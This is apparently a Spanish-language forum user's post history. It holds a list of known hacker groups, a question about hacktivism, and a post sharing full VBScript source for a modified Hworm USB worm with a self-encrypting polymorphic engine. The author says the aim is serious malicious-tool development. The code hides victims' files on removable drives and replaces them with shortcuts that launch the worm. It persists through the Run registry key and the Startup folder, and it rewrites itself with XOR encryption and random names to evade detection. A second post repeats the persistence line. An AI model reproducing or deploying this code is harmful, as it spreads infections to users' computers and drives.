  • Anónimo, originario de 2003, Anónimo fue creado como un grupo para las personas que lucharon por el derecho a la privacidad.
  • Anónimo de Sudán, fundado en 2023, un grupo hacktivista que afirma actuar contra actividades anti-musulmanas, pero supuestamente está respaldado por ruso y ni está vinculado a Sudán ni anónimo.
    ]
  • Bangladesh Black Hat Hackers, fundado en 2012.
  • Chaos Computer Club (CCC), fundada en 1981, es la asociación de hackers más grande de Europa con 7.700 miembros registrados.
  • Conti uno de los grupos de ransomware más prolíficos de 2021, según el FBI.
  • Cozy Bear, un grupo de piratas informáticos rusos que se cree que está asociado con una o más agencias de inteligencia de Rusia.
  • Los piratas informáticos de la Revolución Croata, un grupo de piratas informáticos croatas ahora desaparecidos con uno de los ataques más grandes que ocurrieron en los Balcanes.
  • Cult of the Dead Cow, también conocido como CDC o CDC Communications, es un hacker informático y una organización de medios de bricolaje fundada en 1984 en Lubbock, Texas.
  • Darkside, un grupo de piratería cibercriminal, que se cree que tiene su sede en Europa del Este, que apunta a las víctimas que usan ransomware y extorsión.
  • DCLEAKS, afirma ser un grupo de "hacktivistas estadounidenses (aunque se descubrió que los individuos acusados ​​estaban en Rusia) que respetan y aprecian la libertad de expresión, los derechos humanos y el gobierno de la gente".
  • Derp, un grupo de piratas informáticos que atacó varios sitios de juego a fines de 2013.
  • Digital Dawgpound (DDP) El DDP fue fundado y nombrado por Stankdawg.
  • Fancy Bear, un grupo ruso de ciberesionaje.
  • Genocide2600, un grupo que ganó notoriedad para combatir la pornografía infantil.
  • Ghost Squad Hackers, o por la abreviatura "GSH" es un equipo de piratería de motivación política establecido en 2015.
  • Global Kos fue un grupo de piratas informáticos de computadoras grises (inclinado negro) activo desde 1996 hasta 2000.
  • Globalhell era un grupo de piratas informáticos, compuestos por unos 60 individuos. El grupo se disolvió en 1999 cuando 12 miembros fueron procesados ​​por intrusión informática y 30 por delitos menores.
  • La seguridad de la cabra (Goatsec) es un grupo de piratas informáticos grises sueltos y de nueve personas que se especializa en descubrir fallas de seguridad.
  • Hackweiser es un grupo de piratería underground y una revista de piratería fundada en 1999.
  • Hafnium posiblemente con asociaciones chinas, responsables de la violación de datos de Microsoft Exchange Server 2021.
  • Hive era una notoria organización criminal de Ransomware como Servicio (RAAS) que se dirigía principalmente a instituciones públicas. [2]
  • Honker Union es un grupo conocido por el hacktivismo, principalmente presente en China continental, cuyos miembros lanzaron una serie de ataques a sitios web en los Estados Unidos, en su mayoría sitios relacionados con el gobierno.
  • Indian Cyber ​​Force es un grupo hacktivista que dirige a las entidades que se perciben en contra de los intereses indios.
  • Killnet es un grupo pro-ruso que atacó las instituciones gubernamentales de varios países e intentó DDOS el sitio web del concurso de canciones de Eurovisión 2022.
  • L0PHT fue un colectivo de hacker activo entre 1992 y 2000 y ubicado en el área de Boston, Massachusetts.
  • Lapsus $, un grupo de hackers de sombrero negro conocido por usar tácticas de extorsión. Activo desde finales de 2021, supuestamente arrojó datos de Microsoft, Samsung y Nvidia, y con los miembros arrestados en marzo de 2022.
  • El Grupo Lazarus, con fuertes vínculos con el gobierno de Corea del Norte, involucrado en el Hack de Sony Pictures, el robo del banco de Bangladesh y el ataque de ransomware WannaCry.
  • LOD era un grupo de hackers activo a principios de los años 80 y mediados de los 90. Había notado rivalidad con Masters of Deception (mod).
  • Legion Hacktivist Group, un grupo de piratería que secuestró el servidor indio Yahoo y pirateó los portales de noticias en línea de la India.
  • The Leven Seven fue un grupo de piratería a mediados o finales de la década de 1990. Finalmente dispersándose a principios de 2000 cuando su nomina
  • Lizard Squad, conocido por sus afirmaciones de ataques distribuidos de denegación de servicio (DDoS) [19] principalmente para interrumpir los servicios relacionados con el juego.
  • Lords of Dharmaraja, un grupo de piratería de seguridad con sede en la India que amenazó en 2012 para lanzar el código fuente del producto de Symantec Norton Antivirus.
  • Lulzsec, un grupo de piratas informáticos que se originan y se disuelven en 2011 que afirmaba hackear "para Lulz".
  • Masters of Deception, la membresía inicial de Mod creció de reuniones en líneas de prueba de bucle a principios a mediados de la década de 1980. Había notado rivalidad con Legion of Doom (LOD).
  • MILW0RM es un grupo de "hacktivistas" más conocidos por penetrar en las computadoras del Centro de Investigación Atómica de Bhabha (BARC) en Mumbai.
  • NCPH es un grupo de piratas informáticos chinos con sede en Zigong en la provincia de Sichuan.
  • NoiseBridge, un espacio de hackers ubicado en San Francisco que se realiza con la definición temprana de piratería y no de piratería de seguridad.
  • Noname057 (16) Un grupo de hackers de habla rusa, ataques alineados con la invasión de Rusia en Ucrania
  • NuestroMine, un grupo de hackers de origen desconocido que ha comprometido varios sitios web y cuentas de Twitter como una forma de anunciar sus "servicios profesionales".
  • P.H.I.R.M., un grupo de piratería temprano que se fundó a principios de la década de 1980.
  • Phone Losers of America, una comunidad de llamadas de broma de Internet fundada en 1994 como un grupo de piratería y phreaking telefónico.
  • Play, un grupo de extorsión de ransomware, los expertos creen que son de Rusia.
  • Redhack es un grupo socialista de piratas informáticos con sede en Turquía, fundado en 1997. Por lo general, lanzan ataques contra los sitios web del gobierno turco y filtran documentos secretos del gobierno turco.
  • Rhysida Group detrás del CyberAtack de la Biblioteca Británica de 2023 y el volcado de juegos Insomniac utilizando ransomware como servicio.
  • Rocket Kitten o The Rocket Kitten Group es un grupo de piratas informáticos que se cree que está vinculado al gobierno iraní.
  • Sandworm, también conocida como Unidad 74455, una unidad militar cibernética rusa de la GRU.
  • The Shadow Brokers (TSB), que se originó en el verano de 2016. Publicaron varias filtraciones que contienen herramientas de piratería, incluidas varias exploits de día cero de la Agencia de Seguridad Nacional (NSA).
  • Shinyhunters es un grupo de piratas informáticos que se dice que es responsable de numerosas violaciones de datos en 2020 y 2021.
  • TeamP0ison es un grupo de piratas informáticos de sombrero negro establecidos a mediados de 2009.
  • Telecomix, un grupo hacktivista conocido principalmente por eludir la censura de Internet durante múltiples eventos políticos.
  • Teslateam es un grupo de piratas informáticos de sombrero negro de Serbia establecidos en 2010.
  • Teso era un grupo de piratas informáticos que se originó en Austria que estuvo activo principalmente de 1998 a 2004.
  • Turla uno de los grupos más sofisticados que apoyan al gobierno ruso.
  • Ugnazi, un grupo de piratería dirigido por Joshthegod, fue fundado en 2011. Son mejor conocidos por varios ataques contra sitios del gobierno de los Estados Unidos, filtrando la base de datos de WHMC, [21] ataques DDoS y exponiendo información personal de celebridades y otras figuras de alto perfil en expuestos.
  • Vice Society, un grupo de piratas informáticos de habla rusa conocido por los ataques a las organizaciones de la salud y la educación.
  • Wizard Spider Russian / Ucranian Hacker Group, sospechoso de estar detrás del CiberAtack ejecutivo del Servicio de Salud de Irlanda, a veces llamado Trickbot por malware.
  • Yemen Cyber ​​Army, un grupo de piratas informáticos pro-yemení que se ha atribuido la responsabilidad por la desfiguración del sitio web Pro-Saudi Al-Hayat con sede en Londres en abril de 2015, así como por la exfiltración de datos del Ministerio de Asuntos Exteriores de la Arabia Saudita en mayo en mayo que figuran posteriormente en Wikileaks.
  • YIPL/TAP - Línea de asistencia tecnológica o Línea de Asistencia Tecnológica de Jóvenes Internacionales, fue una organización y publicación de phreak de teléfono temprano creada en la década de 1970 por los activistas Abbie Hoffman.
  • Xbox Underground, un grupo internacional responsable de piratear desarrolladores de juegos, incluido Microsoft.
  • UNC1151, que se cree que se encuentra en Bielorrusia

A la fecha de iniciado este Tema es raro ver casos de grupos Hacktivistas de esta magnitud.
8  Seguridad Informática / Análisis y Diseño de Malware / [DESARROLLO DE MALWARE POLIMORFICO] Hworm VBS modificado. en: 4 Abril 2025, 21:18 pm
A continuacion muestro el trabajo de mezclar el codigo modificado de Hworm (VBS) que se transmite via USB a el siguiente codigo que incluye un motor polimorfico. Ambas escritas en una clase distinta. Por ahora solo tengo este trabajo y espero publicar mas contenido al respecto para ser tomado enserio en el desarrollo de herramientas maliciosas. Pues bien mi objectivo es lograr un modelo de malware tipo VBS Polimorfico y otro modelo que seria MetaPolimorfico ("Capaz de cambiar el cifrado, el codigo y automodificarse")

Código
  1. Set lnk_infect_houdini = New Basic_lnk_infec
  2. Set mod_polimorfic_XOR = New Polimorfic_VBScripts_Motors
  3.  
  4. 'mod_polimorfic_XOR.Polimorfic_VBS_XORSPLIT
  5.  
  6. 'lnk_infect_houdini.install_lnk_drive_USB
  7. 'lnk_infect_houdini.uninstall
  8.  
  9. Class Basic_lnk_infec
  10.  
  11. dim shellobj,filesystemobj
  12. dim installname,startup
  13. dim lnkfile,lnkfolder,installdir
  14.  
  15. Private Sub Class_Initialize()
  16.  installdir = "%temp%"
  17.  lnkfile = True
  18.  lnkfolder = True
  19.  set shellobj = createobject("wscript.shell")
  20.  set filesystemobj = createobject("scripting.filesystemobject")
  21.  installname = wscript.scriptname
  22.  startup = shellobj.specialfolders ("startup") & "\"
  23.  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  24.  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  25. end sub
  26. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  27. sub install_lnk_drive_USB
  28. on error resume next
  29. dim lnkobj,filename,foldername,fileicon,foldericon
  30. upstart
  31. for each drive in filesystemobj.drives
  32. if  (drive.isready) and (drive.freespace  > 0) and (drive.drivetype  = 1)  then
  33.    filesystemobj.copyfile wscript.scriptfullname,drive.path & "\" & installname,true
  34.    if  filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\"  & installname).attributes = 6
  35.    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  36.        if not lnkfile then exit for
  37.        if  instr (file.name,".") then
  38.            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  39.                file.attributes = 6
  40.                if  ucase (file.name) <> ucase (installname) then
  41.                    filename = split(file.name,".")
  42.                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  43.                    if  instr (fileicon,",") = 0 then
  44.                        log_ico = file.path
  45.                    else
  46.                        log_ico = fileicon
  47.                    end if
  48.                    create_lnk drive.path & "\"  & filename (0) & ".lnk","/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit",log_ico
  49.                end if
  50.            end if
  51.        end if
  52.    next
  53.    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  54.        if not lnkfolder then exit for
  55.        folder.attributes = 6
  56.        foldername = folder.name
  57.        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  58.        if  instr (foldericon,",") = 0 then
  59.            ico_log = folder.path
  60.        else
  61.            ico_log = foldericon
  62.        end if
  63.        create_lnk drive.path & "\"  & foldername & ".lnk","/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit",ico_log
  64.    next
  65. end If
  66. next
  67. err.clear
  68. end sub
  69. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  70. sub uninstall
  71. on error resume next
  72. dim filename
  73. dim foldername
  74. downstart
  75. for  each drive in filesystemobj.drives
  76. if (drive.isready) and (drive.freespace  > 0) and (drive.drivetype  = 1) then
  77.  for each file in filesystemobj.getfolder ( drive.path & "\").files
  78.         if  instr (file.name,".") then
  79.             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  80.                 file.attributes = 0
  81.                 if  ucase (file.name) <> ucase (installname) then
  82.                     filename = split(file.name,".")
  83.                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  84.                 else
  85.                     filesystemobj.deletefile (drive.path & "\" & file.name)
  86.                 end If
  87.             else
  88.                 filesystemobj.deletefile (file.path)
  89.             end if
  90.         end if
  91.     next
  92.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  93.         folder.attributes = 0
  94.     next
  95. end if
  96. next
  97. wscript.quit
  98. end sub
  99. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  100. public sub upstart ()
  101. on error resume next
  102. set shellobj = createobject("wscript.shell")
  103. shellobj.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\linux",  "wscript.exe //B " & chr(34) & installdir & installname & chr(34) , "REG_SZ"
  104. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  105. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  106. end sub
  107. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  108. public sub downstart ()
  109. on error resume next
  110. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\linux"
  111. filesystemobj.deletefile startup & installname ,true
  112. filesystemobj.deletefile wscript.scriptfullname ,true
  113. end sub
  114. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  115. function create_lnk(file_name_lnk,arg_str,icon_log)
  116. set lnkobj = shellobj.createshortcut(file_name_lnk)
  117.        lnkobj.windowstyle = 7
  118.        lnkobj.targetpath = "cmd.exe"
  119.        lnkobj.workingdirectory = ""
  120.        lnkobj.arguments = arg_str
  121.        lnkobj.iconlocation = icon_log
  122.        lnkobj.save()
  123. end function
  124. end Class
  125. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  126.  
  127. Class Polimorfic_VBScripts_Motors
  128.  Dim lenalfavar, lenalfaspl
  129.  Dim alfabet_var, alfabet_split
  130.  Dim FileSystemObject
  131.  Dim LABEL_TYPE_ENCRYPTER_XORSPLIT
  132.  Dim LABEL_TYPE_ENCRYPTER_sutwo
  133. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  134.  Private Sub Class_Initialize()
  135.  '
  136.  ' Genera el objecto del sistema de manejo de ficheros,
  137.  '
  138.    alfabet_var = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 'len=52
  139.    alfabet_split = "/\?#$@|°¬" 'len=9
  140.    lenalfavar = len(alfabet_var)-1 '[0-51]
  141.    lenalfaspl = len(alfabet_split)-1 '[0-7]
  142.    set FileSystemObject = createobject("scripting.filesystemobject")
  143.  
  144.    LABEL_TYPE_ENCRYPTER_XORSPLIT = "'EncrypterXORSPLITV1.0"
  145.  end sub
  146. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  147.  Public sub Polimorfic_VBS_XORSPLIT() 'Genera el proceso de Polimorfismo, cifrando y descifrandose a si mismo
  148.      EncrypterVBS_code = FileSystemObject.opentextfile(wscript.scriptfullname,1).readall 'Se lee a si mismo (Si esta vacio produce un error)
  149.      if instr(split(EncrypterVBS_code,vbcrlf)(0),"execute") <> 0 then 'Si esta cifrado entonces se decifra con Decode_VBS_XORSPLIT, busca la etiqueta y se vuelve a cifrar
  150.        Code_VBS = Decode_VBS_XORSPLIT(EncrypterVBS_code)
  151.          if split(Code_VBS,vbcrlf)(0) = LABEL_TYPE_ENCRYPTER_XORSPLIT then
  152.            FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(Code_VBS)
  153.          else
  154.            wscript.quit
  155.          end if
  156.      else'Si no esta cifrado entonces añade la etiqueta LABEL_TYPE_ENCRYPTER_XORSPLIT al principio del codigo fuente y se cifra a si mismo
  157.          EncrypterVBS_code = LABEL_TYPE_ENCRYPTER_XORSPLIT & vbcrlf & EncrypterVBS_code
  158.          FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(EncrypterVBS_code)
  159.      end if
  160.  end sub
  161. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  162.  Public Function Decode_VBS_XORSPLIT(code)
  163.    dim String_One_Line_Code_VBS, var_temp_split
  164.  
  165.    String_One_Line_Code_VBS = split(split(code,vbcrlf)(0),"(")'Extrae la primera linea del codigo
  166.    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),String_One_Line_Code_VBS(1))
  167.    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),"),")
  168.  
  169.    'En String_One_Line_Code_VBS(2) esta el codigo cifrado, en String_One_Line_Code_VBS(3) esta el password
  170.  
  171.    var_temp_split = split(String_One_Line_Code_VBS(2),",")
  172.    spliit = KickString(var_temp_split(1),chr(34))
  173.    cifrado = KickString(var_temp_split(0),chr(34))
  174.    password = KickString(split(String_One_Line_Code_VBS(3),",")(0),chr(34))
  175.  
  176.  'Extrae las cadenas y elimina comillas
  177.  
  178.    Decode_VBS_XORSPLIT = encode_xor(Str_split_decode(cifrado,spliit),Str_split_decode(password,spliit))' Descifra el VBScript
  179.  end function
  180. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  181.  Public Function Encode_VBS_XORSPLIT(VBScode)
  182.    randomize
  183.      modcode = "execute %0(%7(%1,%12),%7(%2,%12))" & vbcrlf
  184.      modcode = modcode & "Function %0(%3,%4)" & vbcrlf
  185.      modcode = modcode & "For %5 = 1 to len(%3)" & vbcrlf
  186.      modcode = modcode & "%6 = %6 + 1" & vbcrlf
  187.      modcode = modcode & "%0 = %0 & chr((asc(mid(%3,%5,1)))xor(asc(mid(%4,%6,1))))" & vbcrlf
  188.      modcode = modcode & "if %6 = len(%4) then %6 = 0" & vbcrlf
  189.      modcode = modcode & "next" & vbcrlf
  190.      modcode = modcode & "end function" & vbcrlf
  191.      modcode = modcode & "function %7(%8,%9)" & vbcrlf
  192.      modcode = modcode & "%10 = split(%8,%9)" & vbcrlf
  193.      modcode = modcode & "for %11 = LBound(%10) to Ubound(%10)" & vbcrlf
  194.      modcode = modcode & "%7 = %7 & chr(%10(%11))" & vbcrlf
  195.      modcode = modcode & "next" & vbcrlf
  196.      modcode = modcode & "end function"
  197.  
  198.    var_split = Ramdon_var_spliter()
  199.    password = random_String(16)
  200.    cifrado = encode_xor(VBScode,password)
  201.  
  202.        for inx = 3 to 11 'Genera variable aleatorias en el codigo
  203.          modcode = replace(modcode,"%" & inx,ramdon_vars(10))
  204.        next
  205.  
  206.      'añade al codigo los nombres de las funciones, la llave de cifrado, el codigo cifrado... En resumen Encapsula el codigo cifrado
  207.      modcode = replace(modcode,"%0",ramdon_vars(10))
  208.      modcode = replace(modcode,"%12",AddComillas(var_Split))
  209.      modcode = replace(modcode,"%1",AddComillas(Str_split_encode(cifrado,var_split)))
  210.      modcode = replace(modcode,"%2",AddComillas(Str_split_encode(password,var_Split)))
  211.    Encode_VBS_XORSPLIT = modcode
  212.  end function
  213. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  214.  Private Function Ramdon_var_spliter()'extrae el caracter random de alfabet_split
  215.    randomize
  216.    Random_number = rnd*lenalfaspl
  217.    if Random_number < 1 then Random_number = 1
  218.    Ramdon_var_spliter = mid(alfabet_split,Random_number,1)
  219.  end function
  220. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  221.  Private Function ramdon_vars(lenvar) 'Genera un String con caracteres aleatorios del String alfabet_var de tamaño lenvar
  222.    randomize
  223.      For inx = 1 to lenvar
  224.        Random_number = Fix(rnd * lenalfavar)
  225.        if Random_number < 1 then Random_number = 1
  226.        ramdon_vars = ramdon_vars & mid(alfabet_var,Random_number,1)
  227.      next
  228.  end function
  229. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  230.  Private Function random_String(lenvar) 'Devuelve un String aleatoria de caracteres ASCII de tamaño lenvar
  231.    randomize
  232.      For inx = 1 to lenvar
  233.        random_String = random_String & chr(Fix(rnd*255))
  234.      next
  235.  end function
  236. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  237.  Private Function encode_xor(string_cliptext,password_spliter) 'Funcion de cifrado y descifrado con Or-Exclusiva (Xor)
  238.    lenstr=len(string_cliptext):lenpa=len(password_spliter)
  239.      For inx_String_cliptext = 1 to lenstr
  240.        count_password_spliter = count_password_spliter + 1
  241.        chr_cliptxt = Asc(mid(string_cliptext , inx_String_cliptext , 1))
  242.        chr_pwr = Asc(mid(password_spliter,count_password_spliter,1))
  243.        encode_xor = encode_xor & chr(chr_cliptxt Xor chr_pwr)
  244.          if count_password_spliter => lenpa then count_password_spliter = 0
  245.      next
  246.  end function
  247. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  248.  Private function Str_split_decode(String_encode,password_spliter) 'Decodifica el cifrado split
  249.    array_Str_Encode = split(String_encode,password_spliter)
  250.      for inx = LBound(array_Str_Encode) to Ubound(array_Str_Encode)
  251.        Str_split_decode = Str_split_decode & chr(array_Str_Encode(inx))
  252.      next
  253.  end function
  254. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  255.  Private Function Str_split_encode(string_Cliptext,password_spliter) 'Codfifica con cifrado split
  256.    Len_string_Cliptext = len(string_Cliptext)
  257.      for inx = 1 to (Len_string_Cliptext-1)
  258.        Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,inx,1))) & password_spliter
  259.      next
  260.    Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,Len_string_Cliptext,1)))
  261.  end function
  262. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  263.  Private Function KickString(str1,str2):KickString = replace(str1,str2,""):End function
  264.  Private Function AddComillas(strr):AddComillas=chr(34)&strr&chr(34):end function 'Añade comillas
  265. End Class
9  Programación / Scripting / Problema para usar el Registro de Regedit en Wscript (VBS) en: 4 Abril 2025, 20:15 pm
 La siguiente linea no me permite crear una entrada en el registro
Código
  1. set shellobj = createobject("wscript.shell")
  2. shellobj.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
10  Foros Generales / Dudas Generales / ¿Existe algun grupo Hacker Activist? en: 4 Abril 2025, 18:38 pm
E buscado informacion y noticias de grupos Hackers y demas. Mas no logro conseguir informacion fiable. Que noticias Hacktivistas existen actualmente?
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines